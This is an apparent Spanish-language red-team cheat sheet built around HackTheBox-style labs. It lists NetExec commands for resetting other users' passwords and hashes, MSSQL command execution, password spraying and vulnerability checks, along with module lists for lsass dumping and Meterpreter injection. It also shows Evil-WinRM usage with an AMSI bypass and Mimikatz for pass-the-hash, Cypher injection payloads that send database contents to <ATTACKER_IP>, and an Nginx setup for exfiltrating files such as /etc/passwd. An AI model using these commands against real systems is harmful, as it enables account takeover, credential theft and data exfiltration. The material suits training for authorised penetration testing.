nxc smb 10.10.10.10 -u 'attacker' -p 'Password01!' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
Modificar contraseña de otro usuario.
nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWPASS='NewPass123!'
Modificar hash NTLM de otro usuario.
nxc smb 10.10.10.10 -u 'attacker' -H '01e97f85894e06a5ad698f624b9a7ee9' -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
Modificar contraseña de otro usuario.
nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWPASS='NewPass123!'
Modificar hash NTLM de otro usuario.
nxc smb dc.domain.htb --use-kcache -M change-password -o USER=victim NEWNTHASH='01e97f85894e06a5ad698f624b9a7ee9'
Si disponemos credenciales, podemos usar nxc para obtener archivos zip o .json para BloodHound.
nxc ldap 10.10.10.10 -u 'user' -p 'password' --bloodhound --collection All --dns-server 10.10.10.10
nxc ldap 10.10.10.10 -u 'user' -p 'password' --gmsa
nxc ldap 10.10.10.10 -u 'user' -p 'password' -M laps
Enumerar todos los usuarios del AD.
nxc ldap 10.10.10.10 -u 'user' -p 'password' --users
Enumerar solamente los usuarios que se encuentren activo en el AD.
nxc ldap 10.10.10.10 -u 'user' -p 'password' --active-users
Enumerar los grupos del AD.
nxc ldap 10.10.10.10 -u 'user' -p 'password' --groups
# Verificar autenticación al FTP, en este caso, comprobar usuario anonymous si es válido
nxc ftp 10.10.10.10 -u 'anonymous' -p ''
# Listar el contenido del servidor FTP
nxc ftp 10.10.10.10 -u 'usuario' -p 'password' --ls
nxc ftp 10.10.10.10 -u 'usuario' -p 'password' --ls '<Directorio>'
# Descargar archivo que se encuentra en el FTP
nxc ftp 10.10.10.10 -u 'usuario' -p 'password' --get '<PATH_OF_TARGET_FILE>'
# Subir archivo al servidor FTP
nxc ftp 10.10.10.10 -u 'usuario' -p 'password' --put '<path_local_file>' '<destination_path_file>'
Windows Auth
# Si el SMB se encuentra expuesto
nxc mssql 10.10.10.10 -u 'user' -p 'password'
# Si el SMB no se encuentra expuesto, hay que añadir -d domain
nxc mssql 10.10.10.10 -u 'user' -p 'password' -d dominio.htb
Local Auth
# Autenticación con credenciales de MSSQL y no de Windows
nxc mssql 10.10.10.10 -u 'user' -p 'password' --local-auth
Specify Port
# En caso de que MSSQL se encuentre en otro puerto, hay que especificarlo con --port
nxc mssql 10.10.10.10 -u 'user' -p 'password' --port 1234
# Ejecutar QUERYS desde nxc
nxc mssql 10.10.10.10 -u 'user' -p 'password' -q 'SELECT name FROM master.dbo.sysdatabases;'
# Ejecutar comandos arbitrarios en el sistema para obtener Remote Code Execution (RCE)
nxc mssql 10.10.10.10 -u 'user' -p 'password' -x whoami
nxc mssql 10.10.10.10 -u 'user' -p 'password' --rid-brute
# Verificar si el equipo es vulnerable a ZeroLogon (CVE-2020-1472)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M zerologon
# Verificar si el equipo es vulnerable a EternalBlue MS17-010 (CVE-2017-0144)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M ms17-010
# Verificar si el equipo es vulnerable a PrintNightmare (CVE-2021-1675)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M printnightmare
# Verificar si el equipo es vulnerable a SMBGhost (CVE-2020-0796)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M smbghost
# Verificar si el equipo es vulnerable a noPAC (CVE-2021-42278 && CVE-2021-42287)
nxc smb 10.10.10.10 -u 'user' -p 'password' -M nopac
❯ nxc smb -L
LOW PRIVILEGE MODULES
[*] add-computer Adds or deletes a domain computer
[*] coerce_plus Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion.
[*] dfscoerce [REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam
[*] drop-sc Drop a searchConnector-ms file on each writable share
[*] enum_av Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)
[*] enum_ca Anonymously uses RPC endpoints to hunt for ADCS CAs
[*] gpp_autologin Searches the domain controller for registry.xml to find autologon information and returns the username and password.
[*] gpp_password Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
[*] ioxidresolver This module helps you to identify hosts that have additional active interfaces
[*] ms17-010 MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT
[*] nopac Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user
[*] petitpotam [REMOVED] Module to check if the DC is vulnerable to PetitPotam, credit to @topotam
[*] printerbug [REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion.
[*] printnightmare Check if host vulnerable to printnightmare
[*] scuffy Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares
[*] shadowcoerce [REMOVED] Module to check if the target is vulnerable to ShadowCoerce, credit to @Shutdown and @topotam
[*] slinky Creates windows shortcuts with the icon attribute containing a URI to the specified server (default SMB) in all shares with write permissions
[*] smbghost Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796).
[*] spider_plus List files recursively and save a JSON share-file metadata to the 'OUTPUT_FOLDER'. See module options for finer configuration.
[*] spooler Detect if print spooler is enabled or not
[*] webdav Checks whether the WebClient service is running on the target
[*] zerologon Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472
HIGH PRIVILEGE MODULES (requires admin privs)
[*] bitlocker Enumerating BitLocker Status on target(s) If it is enabled or disabled.
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] enum_dns Uses WMI to dump DNS from an AD DNS Server
[*] firefox Dump credentials from Firefox
[*] get_netconnections Uses WMI to query network connections.
[*] handlekatz Get lsass dump using handlekatz64 and parse the result with pypykatz
[*] hash_spider Dump lsass recursively from a given hash using BH to find local admins
[*] hyperv-host Performs a registry query on the VM to lookup its HyperV Host
[*] iis Checks for credentials in IIS Application Pool configuration files using appcmd.exe
[*] impersonate List and impersonate tokens to run command as locally logged on users
[*] install_elevated Checks for AlwaysInstallElevated
[*] keepass_discover Search for KeePass-related files and process.
[*] keepass_trigger Set up a malicious KeePass trigger to export the database in cleartext.
[*] lsassy Dump lsass and parse the result remotely with lsassy
[*] masky Remotely dump domain user credentials via an ADCS and a KDC
[*] met_inject Downloads the Meterpreter stager and injects it into memory
[*] mobaxterm Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export
[*] mremoteng Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them)
[*] msol Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server
[*] nanodump Get lsass dump using nanodump and parse the result with pypykatz
[*] ntdsutil Dump NTDS with ntdsutil
[*] ntlmv1 Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)
[*] pi Run command as logged on users via Process Injection
[*] powershell_history Extracts PowerShell history for all users and looks for sensitive commands.
[*] procdump Get lsass dump using procdump64 and parse the result with pypykatz
[*] putty Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found.
[*] rdcman Remotely dump Remote Desktop Connection Manager (sysinternals) credentials
[*] rdp Enables/Disables RDP
[*] reg-query Performs a registry query on the machine
[*] reg-winlogon Collect autologon credential stored in the registry
[*] runasppl Check if the registry value RunAsPPL is set or not
[*] schtask_as Remotely execute a scheduled task as a logged on user
[*] security-questions Gets security questions and answers for users on computer
[*] teams_localdb Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process
[*] test_connection Pings a host
[*] uac Checks UAC status
[*] veeam Extracts credentials from local Veeam SQL Database
[*] vnc Loot Passwords from VNC server and client configurations
[*] wcc Check various security configuration items on Windows machines
[*] wdigest Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1
[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
[*] wifi Get key of all wireless interfaces
[*] winscp Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.
❯ nxc wmi -L
LOW PRIVILEGE MODULES
[*] ioxidresolver This module helps you to identify hosts that have additional active interfaces
[*] spooler Detect if print spooler is enabled or not
[*] zerologon Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472
HIGH PRIVILEGE MODULES (requires admin privs)
[*] bitlocker Enumerating BitLocker Status on target(s) If it is enabled or disabled.
[*] enum_dns Uses WMI to dump DNS from an AD DNS Server
[*] get_netconnections Uses WMI to query network connections.
[*] rdp Enables/Disables RDP
❯ nxc mssql -L
LOW PRIVILEGE MODULES
[*] mssql_priv Enumerate and exploit MSSQL privileges
HIGH PRIVILEGE MODULES (requires admin privs)
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] met_inject Downloads the Meterpreter stager and injects it into memory
[*] nanodump Get lsass dump using nanodump and parse the result with pypykatz
[*] test_connection Pings a host
[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
❯ nxc ldap -L
LOW PRIVILEGE MODULES
[*] adcs Find PKI Enrollment Services in Active Directory and Certificate Templates Names
[*] daclread Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options.
[*] enum_trusts Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
[*] find-computer Finds computers in the domain via the provided text
[*] get-desc-users Get description of the users. May contained password
[*] get-network Query all DNS records with the corresponding IP from the domain.
[*] get-unixUserPassword Get unixUserPassword attribute from all users in ldap
[*] get-userPassword Get userPassword attribute from all users in ldap
[*] group-mem Retrieves all the members within a Group
[*] groupmembership Query the groups to which a user belongs.
[*] laps Retrieves all LAPS passwords which the account has read permissions for.
[*] ldap-checker Checks whether LDAP signing and binding are required and / or enforced
[*] maq Retrieves the MachineAccountQuota domain-level attribute
[*] obsolete Extract all obsolete operating systems from LDAP
[*] pre2k Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each
[*] pso Module to get the Fine Grained Password Policy/PSOs
[*] sccm Find a SCCM infrastructure in the Active Directory
[*] subnets Retrieves the different Sites and Subnets of an Active Directory
[*] user-desc Get user descriptions stored in Active Directory
[*] whoami Get details of provided user
HIGH PRIVILEGE MODULES (requires admin privs)
WinRM es la implementación de Microsoft del protocolo WS-Management, muy habitual en entornos Windows, especialmente en sus versiones Server. Fue diseñado para facilitar la administración remota del sistema. Aunque en las estaciones de trabajo (Windows 7, 8, 8.1 o 10) no viene activado por defecto, en Windows Server suele estar habilitado en el puerto 5985.
Si cuentas con acceso al sistema —ya sea con usuario y contraseña, con el hash NTLM o incluso con un ticket TGT de Kerberos— puedes conectarte a este servicio y obtener una shell en el sistema. Esto es especialmente útil en la etapa de post-explotación, una vez que ya tienes cierto control sobre el entorno.
Aquí es donde entra Evil-WinRM, una de las herramientas más interesantes para explotar y gestionar conexiones a través de WinRM, permitiéndote realizar pruebas de post-explotación de manera eficaz y práctica.
Para instalar evil-winrm
ejecutaremos el siguiente comando:
sudo gem install evil-winrm
Para verificar que disponemos de acceso para conectarnos a través de WinRM
al equipo, podemos hacer uso de la herramienta nxc
(NetExec) para validar dicho acceso. En el resultado nos debe aparecer con un +
y con la palabra Pwn3d!
. En caso contrario, solamente nos saldrá como -
.
Ejemplo de acceso para conectarnos al equipo mediante WinRM
.
❯ nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
WINRM 10.10.10.10 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:dominio.htb)
WINRM 10.10.10.10 5985 DC [+] dominio.htb\user123:Password01! (Pwn3d!)
Ejemplo de que no disponemos de acceso para conectarnos al equipo mediante WinRM
.
❯ nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
WINRM 10.10.10.10 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:dominio.htb)
WINRM 10.10.10.10 5985 DC [-] dominio.htb\user123:Password01!
nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!'
nxc winrm 10.10.10.10 -u 'user123' -H 'E45A314C664D40A227F9540121D1A29D'
nxc winrm 10.10.10.10 -u 'user123' -p 'Password01!' -k
nxc winrm dc.dominio.htb --use-kcache
ncx winrm 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-success
nxc winrm 10.10.10.10 -u 'user1' -p passwords.txt --continue-on-success
nxc winrm 10.10.10.10 -u users.txt -p passwords.txt --continue-on-success
A continuación, se detallan como conectarnos mediante evil-winrm
a un equipo que disponga WinRM
expuesto.
evil-winrm -i 10.10.10.10 -u 'user' -p 'Password01!'
evil-winrm -i 10.10.10.10 -u 'user' -p 'Password01!' -S
evil-winrm -i 10.10.10.10 -u 'user' -H 'E45A314C664D40A227F9540121D1A29D'
evil-winrm -i 10.10.10.10 -c certificate.pem -k priv-key.pem -S
La autenticación mediante Kerberos requiere de una serie de pasos previos para que funcione correctamente.
Sincronizar la hora de la máquina local con la del Domain Controller.
Disponer de un TGT (Ticket Granting Ticket)
Exportar el TGT en la variable KRB5CCNAME
Disponer de la instalación de krb5-user
y krb5-config
en el equipo local
Configurar adecuadamente el archivo /etc/krb5.conf
con la configuración necesaria del dominio
Configurar correctamente el archivo /etc/hosts
para la resolución de nombres.
El comando para conectarnos mediante el TGT obtenido es el siguiente:
evil-winrm -i dc.dominio.htb -r dominio.htb
Para configurar paso a paso esta autenticación al WinRM
mediante Kerberos, realizaremos los siguientes pasos:
Deberemos de sincronizar la hora de nuestro equipo con la del DC (Domain Controller).
Instalaremos el paquete de ntpdate
para ayudarnos a sincronizar la hora de nuestro reloj.
sudo apt install ntpdate -y
Una vez instalado, sincronizaremos nuestra hora con la del DC.
sudo ntpdate -s 10.10.10.10
Deberemos de disponer de un TGT (Ticket Granting Ticket) del usuario con el que queramos conectarnos. Disponemos de varias maneras de haber obtenido ya un TGT, pero en este caso explicaremos solamente a solicitarlo para el usuario que disponemos sus credenciales.
A través de la herramienta de impacket-getTGT
obtendremos un TGT válido para nuestro usuario.
impacket-getTGT 'dominio.htb'/'user':'password' -dc-ip 10.10.10.10
impacket-getTGT 'dominio.htb'/'user' -hashes ':E45A314C664D40A227F9540121D1A29D' -dc-ip 10.10.10.10
Una vez solicitado el TGT, nos deberá proporcionar un archivo .ccache
.
Una vez obtenido el TGT (.ccache
), deberemos de exportar este tiquet en la variable KRB5CCNAME
para poder utilizarlo correctamente.
export KRB5CCNAME=$(pwd)/user.ccache
Instalaremos el paquete de krb5-user
a través del siguiente comando:
sudo apt install krb5-user
Una vez instalado, validaremos que el tiquet TGT obtenido y declarado en KRB5CCNAME
funcione correctamente. Nos deberá aparecer nuestro TGT.
klist
Instalaremos el paquete necesario para el /etc/krb5.conf
a través del siguiente comando:
sudo apt install krb5-config -y
Una vez instalado el paquete, deberemos de configurar el archivo /etc/krb5.conf
para que se adapte al dominio correspondiente.
sudo nano /etc/krb5.conf
A continuación, dejaremos un archivo /etc/krb5.conf
de ejemplo.
[libdefaults]
default_realm = DOMINIO.HTB
ticket_lifetime = 24h
renew_lifetime = 7d
forwardable = true
rdns = false
[realms]
HAZE.HTB = {
kdc = dc.dominio.htb
admin_server = dc.dominio.htb
default_domain = dominio.htb
}
[domain_realm]
.dominio.htb = DOMINIO.HTB
dominio.htb = DOMINIO.HTB
Deberemos de disponer en nuestro archivo /etc/hosts
las entradas correspondientes para que nos resuelva correctamente el hostname, FQDN y nombre del dominio.
Ejemplo:
Dirección IP: 10.10.14.13
Hostname: dc01
Dominio: gzzcoo.htb
FQDN: dc01.gzzcoo.htb
Nuestro archivo /etc/hosts
deberá tener la siguiente entrada correspondiente.
echo '10.10.14.13 dc01 dc01.gzzcoo.htb gzzcoo.htb' | sudo tee -a /etc/hosts
La herramienta de evil-winrm
dispone de un módulo para realizar un Bypass de la AMSI para lograr ejecutar nuestro código malicioso.
Bypass-4MSI
A veces, las herramientas de enumeración en post-explotación no logran identificar el nombre del servicio activo en el sistema objetivo. En esos casos, evil-winrm
resulta muy útil, ya que permite ver una lista completa de los servicios en ejecución desde su menú, específicamente a través de la opción de services
. Esto es especialmente valioso para detectar servicios sin comillas, que otras herramientas podrían pasar por alto.
services
Evil-WinRM cuenta con un módulo que te permite subir archivos desde el directorio actual de tu sesión directamente al sistema comprometido.
Esto facilita la transferencia de herramientas, scripts u otros recursos necesarios para continuar con tus actividades de post-explotación de manera sencilla y directa.
upload <archivo>
Evil-WinRM también te permite extraer archivos del sistema comprometido hacia tu máquina local. Simplemente, estando en el directorio deseado, utiliza el comando:
Esto resulta muy práctico para recolectar información o respaldar archivos importantes durante la fase de post-explotación.
download </ruta/archivo>
Evil-winrm
ofrece una funcionalidad que permite cargar scripts directamente desde nuestra máquina local. Usando la opción -s
seguida de la ruta del script, podemos inyectarlo en memoria en el sistema objetivo. Además, cuenta con una capacidad para omitir AMSI, lo que resulta fundamental antes de importar cualquier script.
En el ejemplo que se muestra, primero se desactiva AMSI y luego se carga el script Invoke-Mimikatz.ps1 en la memoria del sistema comprometido, lo que nos permite ejecutar comandos de mimikatz. Con este método, por ejemplo, podemos volcar las credenciales en caché y, posteriormente, utilizar el hash NTLM obtenido para realizar un ataque de Pass-The-Hash (PtH)
.
evil-winrm -i 10.99.99.10 -u 'Administrador' -H '027ae3139c0b6e47d3825660c1ede923' -s /opt/nishang/Gather/
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz
Esta función te permite guardar registros de tus sesiones remotas en tu máquina local durante la fase de enumeración. En escenarios como CTF o pruebas internas de penetración, es esencial contar con un historial para la elaboración de informes. Evil-winrm incorpora la opción -l, que al incluirla en la sesión, almacena automáticamente todos los logs en el directorio /root/evil-winrm-logs
de tu máquina base, etiquetados con la fecha y la IP del objetivo. Por ejemplo, si ejecutas el comando ipconfig
durante una sesión, la salida se registrará localmente, facilitándote la referencia posterior.
evil-winrm -i 10.99.99.10 -u 'Administrador' -H '027ae3139c0b6e47d3825660c1ede923' -l
Podemos corroborarlo revisando los registros almacenados; notarás que se capturó una imagen de la terminal en el instante en el que ejecutamos el comando ipconfig.
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://<ATTACKER_IP>/?version='+version+'&name='+name+'&edition='+edition as l RETURN 0 as _0 //
' RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://<ATTACKER_IP>/?l='+label as l RETURN 0 as _0 //
Reemplazar FLAG por la correspondiente
' OR 1=1 WITH 1 as a MATCH (f:FLAG) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.x.x/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //"
dnSpy es una herramienta esencial para Red Team cuando se trata de aplicaciones .NET. Permite descompilar, analizar y modificar ejecutables (.exe) o bibliotecas (.dll), lo que puede ser clave durante un pentest para entender cómo funcionan ciertos binarios en el entorno objetivo.
Usos principales en Red Team:
Análisis de aplicaciones internas: Identificar credenciales, claves de API o lógica de autenticación en binarios .NET.
Modificación de payloads: Alterar binarios .NET maliciosos para evadir detección o personalizarlos según el objetivo.
Explotación: Examinar software vulnerable, como aplicaciones que interactúan con bases de datos, para descubrir fallos explotables.
dnSpy permite entender el comportamiento de los binarios en profundidad, apoyando tanto la ingeniería inversa como la explotación directa.
Apktool es una herramienta de línea de comandos utilizada para descompilar y recompilar aplicaciones Android en formato APK. Permite analizar, modificar y personalizar aplicaciones al desensamblar su código y recursos (como XML y archivos de imagen).
Se utiliza principalmente en tareas como:
Ingeniería inversa para entender el funcionamiento de una app.
Modificación de aplicaciones para cambiar funcionalidades o aspectos visuales.
Análisis de seguridad para buscar vulnerabilidades o comportamientos maliciosos.
# Descompilación del APK
apktool d <file.apk> -o FolderDirectory
# Ejemplo, APK llamado 'test.apk' el cual queremos descompilarlo en el directorio 'Files'
apktool d test.apk -o 'Files'
JADX-GUI es una herramienta clave en pentests de Red Team dirigidos a aplicaciones Android, ya que permite descompilar archivos APK y analizar su código fuente de forma gráfica. Es especialmente útil para identificar vulnerabilidades y preparar ataques dirigidos.
Usos principales en Red Team:
Reconocimiento avanzado: Extrae información crítica como permisos, endpoints, claves de API y rutas de comunicación con servidores backend.
Análisis de lógica interna: Revisa el código fuente descompilado para encontrar validaciones débiles, cifrados inseguros o credenciales embebidas.
Soporte para ataques posteriores: Identifica puntos de entrada para ataques como modificación de la app, hookeo con Frida o generación de payloads personalizados.
Preparación de exploits: Ayuda a entender cómo interactúa la app con otros sistemas, permitiendo diseñar exploits específicos para APIs o bases de datos.
JADX-GUI es una herramienta poderosa para descompilar y analizar aplicaciones Android, siendo un paso crucial en ataques contra apps móviles en entornos reales.
jadx-gui & disown 2>/dev/null
La transferencia web es la forma más común en la que la mayoría de la gente transfiere archivos, ya que HTTP/HTTPS son los protocolos que normalmente están permitidos a través de los firewalls. Además, en muchos casos, el archivo viaja cifrado, lo cual es una gran ventaja. No hay nada peor que estar en un pentest y que el IDS del cliente detecte que hemos enviado un archivo sensible en texto plano, y que luego pregunten por qué mandamos una contraseña a nuestro servidor sin cifrado.
Ya vimos cómo usar el módulo uploadserver
de Python3 para montar un servidor web con capacidad de subida de archivos, pero también podemos usar Apache o Nginx. En esta parte, vamos a ver cómo montar un servidor web seguro para operaciones de subida de archivos.
Una buena alternativa a Apache para transferir archivos es Nginx, ya que su configuración es más sencilla y su sistema de módulos no genera tantos problemas de seguridad como puede ocurrir con Apache.
Cuando permitimos subidas por HTTP, es fundamental asegurarnos al 100% de que los usuarios no puedan subir shells web y ejecutarlos. Apache, por ejemplo, puede ser peligroso en este sentido, ya que su módulo de PHP tiende a ejecutar cualquier archivo que termine en .php
. En cambio, configurar PHP en Nginx no es tan directo, lo que en este contexto es una ventaja porque reduce el riesgo de ejecución automática.
Cree el archivo de configuración de Nginx creando el archivo /etc/nginx/sites-available/upload.conf
con el contenido:
Remove NginxDefault Configuration
Ahora podemos probar la carga usando cURL para enviar una solicitud PUT. En el siguiente ejemplo, subiremos el archivo /etc/passwd al servidor y lo llamaremos users.txt.
Una vez que esto funcione, una buena prueba es asegurarnos de que el listado de directorios no esté habilitado navegando a http://localhost/SecretUploadDirectory. Por defecto, con Apache, si encontramos un directorio sin un archivo de índice (index.html), listará todos los archivos. Esto es perjudicial para nuestro caso de exfilling de archivos, ya que la mayoría son sensibles por naturaleza y queremos hacer todo lo posible por ocultarlos. Gracias a que Nginx es minimalista, estas funciones no están habilitadas por defecto.
gzzcoo@htb[/htb]$ sudo mkdir -p /var/www/uploads/SecretUploadDirectory
gzzcoo@htb[/htb]$ sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory
server {
listen 9001;
location /SecretUploadDirectory/ {
root /var/www/uploads;
dav_methods PUT;
}
}
gzzcoo@htb[/htb]$ sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
gzzcoo@htb[/htb]$ sudo systemctl restart nginx.service
gzzcoo@htb[/htb]$ sudo rm /etc/nginx/sites-enabled/default
gzzcoo@htb[/htb]$ curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt
gzzcoo@htb[/htb]$ sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt
user65:x:1000:1000:,,,:/home/user65:/bin/bash